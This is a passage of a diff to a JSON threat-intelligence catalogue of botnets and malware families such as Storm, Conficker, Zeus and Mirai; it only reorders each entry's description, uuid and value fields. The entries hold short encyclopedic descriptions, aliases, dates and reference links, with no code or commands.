+ "value": "ADB.miner"
},
{
+ "description": "Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.",
"meta": {
"date": "2004",
"refs": [
@@ -26,11 +31,11 @@
"Lodeight"
]
},
- "description": "Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.",
- "value": "Bagle",
- "uuid": "d530ea76-9bbc-4276-a2e3-df04e0e5a14c"
+ "uuid": "d530ea76-9bbc-4276-a2e3-df04e0e5a14c",
+ "value": "Bagle"
},
{
+ "description": "Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Botnet"
@@ -43,11 +48,11 @@
"Kraken"
]
},
- "description": "Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.",
- "value": "Marina Botnet",
- "uuid": "7296f769-9bb7-474d-bbc7-5839f71d052a"
+ "uuid": "7296f769-9bb7-474d-bbc7-5839f71d052a",
+ "value": "Marina Botnet"
},
{
+ "description": "Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.",
"meta": {
"date": "2005",
"refs": [
@@ -58,11 +63,11 @@
"Anserin"
]
},
- "description": "Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.",
- "value": "Torpig",
- "uuid": "415a3667-4ac4-4718-a6ea-617540a4abb1"
+ "uuid": "415a3667-4ac4-4718-a6ea-617540a4abb1",
+ "value": "Torpig"
},
{
+ "description": "The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of \"zombie\" computers (or \"botnet\") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as \"230 dead as storm batters Europe,\" giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.",
"meta": {
"date": "2007",
"refs": [
@@ -76,9 +81,8 @@
"Ecard"
]
},
- "description": "The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of \"zombie\" computers (or \"botnet\") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as \"230 dead as storm batters Europe,\" giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.",
- "value": "Storm",
- "uuid": "74ebec0c-6db3-47b9-9879-0d125e413e76"
+ "uuid": "74ebec0c-6db3-47b9-9879-0d125e413e76",
+ "value": "Storm"
},
{
"meta": {
@@ -108,6 +112,7 @@
"value": "Donbot"
},
{
+ "description": "The Cutwail botnet, founded around 2007, is a botnet mostly involved in sending spam e-mails. The bot is typically installed on infected machines by a Trojan component called Pushdo.] It affects computers running Microsoft Windows. related to: Wigon, Pushdo",
"meta": {
"date": "2007",
"refs": [
@@ -118,22 +123,22 @@
"Mutant"
]
},
- "description": "The Cutwail botnet, founded around 2007, is a botnet mostly involved in sending spam e-mails. The bot is typically installed on infected machines by a Trojan component called Pushdo.] It affects computers running Microsoft Windows. related to: Wigon, Pushdo",
- "value": "Cutwail",
- "uuid": "35e25aad-7c39-4a1d-aa17-73fa638362e8"
+ "uuid": "35e25aad-7c39-4a1d-aa17-73fa638362e8",
+ "value": "Cutwail"
},
{
+ "description": "Akbot was a computer virus that infected an estimated 1.3 million computers and added them to a botnet.",
"meta": {
"date": "2007",
"refs": [
"https://en.wikipedia.org/wiki/Akbot"
]
},
- "description": "Akbot was a computer virus that infected an estimated 1.3 million computers and added them to a botnet.",
- "value": "Akbot",
- "uuid": "6e1168e6-7768-4fa2-951f-6d6934531633"
+ "uuid": "6e1168e6-7768-4fa2-951f-6d6934531633",
+ "value": "Akbot"
},
{
+ "description": "Srizbi BotNet, considered one of the world's largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.",
"meta": {
"date": "March 2007",
"refs": [
@@ -144,20 +149,19 @@
"Exchanger"
]
},
- "description": "Srizbi BotNet, considered one of the world's largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.",
- "value": "Srizbi",
- "uuid": "6df98396-b52a-4f84-bec2-0060bc46bdbf"
+ "uuid": "6df98396-b52a-4f84-bec2-0060bc46bdbf",
+ "value": "Srizbi"
},
{
+ "description": "The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 - 310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.",
"meta": {
"date": "2008",
"refs": [
"https://en.wikipedia.org/wiki/Lethic_botnet"
]
},
- "description": "The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 - 310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.",
- "value": "Lethic",
- "uuid": "a73e150f-1431-4f72-994a-4000405eff07"
+ "uuid": "a73e150f-1431-4f72-994a-4000405eff07",
+ "value": "Lethic"
},
{
"meta": {
@@ -173,6 +177,7 @@
"value": "Xarvester"
},
{
+ "description": "Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.",
"meta": {
"date": "2008",
"refs": [
@@ -188,22 +193,22 @@
"Kukacka"
]
},
- "description": "Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.",
- "value": "Sality",
- "uuid": "6fe5f49d-48b5-4dc2-92f7-8c94397b9c96"
+ "uuid": "6fe5f49d-48b5-4dc2-92f7-8c94397b9c96",
+ "value": "Sality"
},
{
+ "description": "The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the \"Butterfly (mariposa in Spanish) Bot\", making it one of the largest known botnets.",
"meta": {
"date": "2008",
"refs": [
"https://en.wikipedia.org/wiki/Mariposa_botnet"
]
},
- "description": "The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the \"Butterfly (mariposa in Spanish) Bot\", making it one of the largest known botnets.",
- "value": "Mariposa",
- "uuid": "f4878385-c6c7-4f6b-8637-08146841d2a2"
+ "uuid": "f4878385-c6c7-4f6b-8637-08146841d2a2",
+ "value": "Mariposa"
},
{
+ "description": "Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.",
"meta": {
"date": "November 2008",
"refs": [
@@ -216,11 +221,11 @@
"Kido"
]
},
- "description": "Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.",
- "value": "Conficker",
- "uuid": "ab49815e-8ba6-41ec-9f51-8a9587334069"
+ "uuid": "ab49815e-8ba6-41ec-9f51-8a9587334069",
+ "value": "Conficker"
},
{
+ "description": "Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.",
"meta": {
"date": "November 2008",
"refs": [
@@ -231,19 +236,18 @@
"Waledpak"
]
},
- "description": "Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.",
- "value": "Waledac",
- "uuid": "4e324956-3177-4c8f-b0b6-e3bc4c3ede2f"
+ "uuid": "4e324956-3177-4c8f-b0b6-e3bc4c3ede2f",
+ "value": "Waledac"
},
{
+ "description": "A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.",
"meta": {
"refs": [
"https://www.symantec.com/connect/blogs/evaluating-botnet-capacity"
]
},
- "description": "A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.",
- "value": "Maazben",
- "uuid": "a461f744-ab52-4a78-85e4-aedca1303a4c"
+ "uuid": "a461f744-ab52-4a78-85e4-aedca1303a4c",
+ "value": "Maazben"
},
{
"meta": {
@@ -255,6 +259,7 @@
"value": "Onewordsub"
},
{
+ "description": "Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).",
"meta": {
"refs": [
"https://www.cert.pl/en/news/single/tofsee-en/"
@@ -264,9 +269,8 @@
"Mondera"
]
},
- "description": "Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).",
- "value": "Gheg",
- "uuid": "ca11e3f2-cda1-45dc-bed1-8708fa9e27a6"
+ "uuid": "ca11e3f2-cda1-45dc-bed1-8708fa9e27a6",
+ "value": "Gheg"
},
{
"meta": {
@@ -287,6 +291,7 @@
"value": "Wopla"
},
{
+ "description": "The Asprox botnet (discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL injections into websites in order to spread malware.",
"meta": {
"date": "2008",
"refs": [
@@ -299,11 +304,11 @@
"Hydraflux"
]
},
- "description": "The Asprox botnet (discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL injections into websites in order to spread malware.",
- "value": "Asprox",
- "uuid": "0d58f329-1356-468c-88ab-e21fbb64c02b"
+ "uuid": "0d58f329-1356-468c-88ab-e21fbb64c02b",
+ "value": "Asprox"
},
{
+ "description": "Spam Thru represented an expontential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj_Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine’s processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.",
"meta": {
"refs": [
"http://www.root777.com/security/analysis-of-spam-thru-botnet/"
@@ -314,22 +319,22 @@
"Xmiler"
]
},
- "description": "Spam Thru represented an expontential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj_Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine’s processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.",
- "value": "Spamthru",
- "uuid": "3da8c2f9-dbbf-4825-9010-2261b2007d22"
+ "uuid": "3da8c2f9-dbbf-4825-9010-2261b2007d22",
+ "value": "Spamthru"
},
{
+ "description": "Gumblar is a malicious JavaScript trojan horse file that redirects a user's Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.",
"meta": {
"date": "2008",
"refs": [
"https://en.wikipedia.org/wiki/Gumblar"
]
},
- "description": "Gumblar is a malicious JavaScript trojan horse file that redirects a user's Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.",
- "value": "Gumblar",
- "uuid": "5b83d0ac-3661-465e-b3ab-ca182d1eacad"
+ "uuid": "5b83d0ac-3661-465e-b3ab-ca182d1eacad",
+ "value": "Gumblar"
},
{
+ "description": "The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.",
"meta": {
"date": "May 2009",
"refs": [
@@ -339,11 +344,11 @@
"Oficla"
]
},
- "description": "The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.",
- "value": "BredoLab",
- "uuid": "65a30580-d542-4113-b00f-7fab98bd046c"
+ "uuid": "65a30580-d542-4113-b00f-7fab98bd046c",
+ "value": "BredoLab"
},
{
+ "description": "The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world's largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world's 3rd largest botnet, responsible for 18% of worldwide spam traffic.",
"meta": {
"date": "2009",
"refs": [
@@ -354,11 +359,11 @@
"Reddyb"
]
},
- "description": "The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world's largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world's 3rd largest botnet, responsible for 18% of worldwide spam traffic.",
- "value": "Grum",
- "uuid": "a2a601db-2ae7-4695-ac0c-0a3ea8822356"
+ "uuid": "a2a601db-2ae7-4695-ac0c-0a3ea8822356",
+ "value": "Grum"
},
{
+ "description": "The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Mega-D_botnet"
@@ -367,11 +372,11 @@
"Ozdok"
]
},
- "description": "The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.",
- "value": "Mega-D",
- "uuid": "c12537fc-1de5-4d12-ae36-649f32919059"
+ "uuid": "c12537fc-1de5-4d12-ae36-649f32919059",
+ "value": "Mega-D"
},
{
+ "description": "The Kraken botnet was the world's largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Kraken_botnet"
@@ -380,11 +385,11 @@
"Kracken"
]
},
- "description": "The Kraken botnet was the world's largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.",
- "value": "Kraken",
- "uuid": "e721809b-2785-4ce3-b95a-7fde2762f736"
+ "uuid": "e721809b-2785-4ce3-b95a-7fde2762f736",
+ "value": "Kraken"
},
{
+ "description": "The Festi botnet, also known by its alias of Spamnost, is a botnet mostly involved in email spam and denial of service attacks.",
"meta": {
"date": "August 2009",
"refs": [
@@ -394,20 +399,19 @@
"Spamnost"
]
},
- "description": "The Festi botnet, also known by its alias of Spamnost, is a botnet mostly involved in email spam and denial of service attacks.",
- "value": "Festi",
- "uuid": "b76128e3-cea5-4df8-8d23-d9f3305e5a14"
+ "uuid": "b76128e3-cea5-4df8-8d23-d9f3305e5a14",
+ "value": "Festi"
},
{
+ "description": "Vulcanbot is the name of a botnet predominantly spread in Vietnam, apparently with political motives. It is thought to have begun in late 2009.",
"meta": {
"date": "March 2010",
"refs": [
"https://en.wikipedia.org/wiki/Vulcanbot"
]
},
- "description": "Vulcanbot is the name of a botnet predominantly spread in Vietnam, apparently with political motives. It is thought to have begun in late 2009.",
- "value": "Vulcanbot",
- "uuid": "dfd17a50-65df-4ddc-899e-1052e5001a1f"
+ "uuid": "dfd17a50-65df-4ddc-899e-1052e5001a1f",
+ "value": "Vulcanbot"
},
{
"meta": {
@@ -422,6 +426,7 @@
"value": "LowSec"
},
{
+ "description": "Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system's network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015,triggered these crashes by breaking assumptions made by the malware author(s).",
"meta": {
"date": "2010",
"refs": [
@@ -432,11 +437,11 @@
"Alureon"
]
},
- "description": "Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system's network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015,triggered these crashes by breaking assumptions made by the malware author(s).",
- "value": "TDL4",
- "uuid": "61a17703-7837-4cc9-b022-b5ed6b30efc1"
+ "uuid": "61a17703-7837-4cc9-b022-b5ed6b30efc1",
+ "value": "TDL4"
},
{
+ "description": "Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Zeus_(malware)"
@@ -450,11 +455,11 @@
"Kneber"
]
},
- "description": "Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.",
- "value": "Zeus",
- "uuid": "e878d24d-f122-48c4-930c-f6b6d5f0ee28"
+ "uuid": "e878d24d-f122-48c4-930c-f6b6d5f0ee28",
+ "value": "Zeus"
},
{
+ "description": "The Kelihos botnet, also known as Hlux, is a botnet mainly involved in spamming and the theft of bitcoins.",
"meta": {
"date": "2010",
"refs": [
@@ -464,20 +469,19 @@
"Hlux"
]
},
- "description": "The Kelihos botnet, also known as Hlux, is a botnet mainly involved in spamming and the theft of bitcoins.",
- "value": "Kelihos",
- "uuid": "07b10419-e8b5-4b5f-a179-77fc9b127dc6"
+ "uuid": "07b10419-e8b5-4b5f-a179-77fc9b127dc6",
+ "value": "Kelihos"
},
{
+ "description": "Ramnit is a Computer worm affecting Windows users. It was estimated that it infected 800 000 Windows PCs between September and December 2011. The Ramnit botnet was dismantled by Europol and Symantec securities in 2015. In 2015, this infection was estimated at 3 200 000 PCs.",
"meta": {
"date": "2011",
"refs": [
"https://en.wikipedia.org/wiki/Botnet"
]
},
- "description": "Ramnit is a Computer worm affecting Windows users. It was estimated that it infected 800 000 Windows PCs between September and December 2011. The Ramnit botnet was dismantled by Europol and Symantec securities in 2015. In 2015, this infection was estimated at 3 200 000 PCs.",
- "value": "Ramnit",
- "uuid": "8ed81090-f098-4878-b87e-2d801b170759"
+ "uuid": "8ed81090-f098-4878-b87e-2d801b170759",
+ "value": "Ramnit"
},
{
"meta": {
@@ -492,38 +496,39 @@
"value": "Zer0n3t"
},
{
+ "description": "The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).",
"meta": {
"date": "2012",
"refs": [
"https://en.wikipedia.org/wiki/Chameleon_botnet"
]
},
- "description": "The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).",
- "value": "Chameleon",
- "uuid": "3084cd06-e415-4ff0-abd0-cf8fbf67c53c"
+ "uuid": "3084cd06-e415-4ff0-abd0-cf8fbf67c53c",
+ "value": "Chameleon"
},
{
+ "description": "Mirai (Japanese for \"the future\", 未来) is a malware that turns networked devices running Linux into remotely controlled \"bots\" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.",
"meta": {
"date": "August 2016",
"refs": [
"https://en.wikipedia.org/wiki/Mirai_(malware)"
]
},
- "description": "Mirai (Japanese for \"the future\", 未来) is a malware that turns networked devices running Linux into remotely controlled \"bots\" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.",
- "value": "Mirai",
- "uuid": "fcdfd4af-da35-49a8-9610-19be8a487185"
+ "uuid": "fcdfd4af-da35-49a8-9610-19be8a487185",
+ "value": "Mirai"
},
{
- "value": "XorDDoS",
- "uuid": "5485d149-79b5-451e-b48c-a020eced3515",
"description": "XOR DDOS is a Linux trojan used to perform large-scale DDoS",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Xor_DDoS"
]
- }
+ },
+ "uuid": "5485d149-79b5-451e-b48c-a020eced3515",
+ "value": "XorDDoS"
},
{
+ "description": "According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/satori-botnet-has-sudden-awakening-with-over-280-000-active-bots/",
@@ -533,9 +538,8 @@
"Okiru"
]
},
- "description": "According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.",
- "value": "Satori",
- "uuid": "e77cf495-632a-4459-aad1-cdf29d73683f"
+ "uuid": "e77cf495-632a-4459-aad1-cdf29d73683f",
+ "value": "Satori"
},
{
"meta": {
@@ -545,6 +549,7 @@
"value": "BetaBot"
},
{
+ "description": "Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown.\nIt is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existance was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/hajime-botnet-makes-a-comeback-with-massive-scan-for-mikrotik-routers/",
@@ -552,21 +557,21 @@
"https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/"
]
},
- "description": "Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown.\nIt is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existance was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).",
- "value": "Hajime",
- "uuid": "383fd414-3805-11e8-ac12-c7b5af38ff67"
+ "uuid": "383fd414-3805-11e8-ac12-c7b5af38ff67",
+ "value": "Hajime"
},
{
+ "description": "The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS.\nAt the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware.\nCrooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online.\nThe Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/big-iot-botnet-starts-large-scale-exploitation-of-drupalgeddon-2-vulnerability/"
]
},
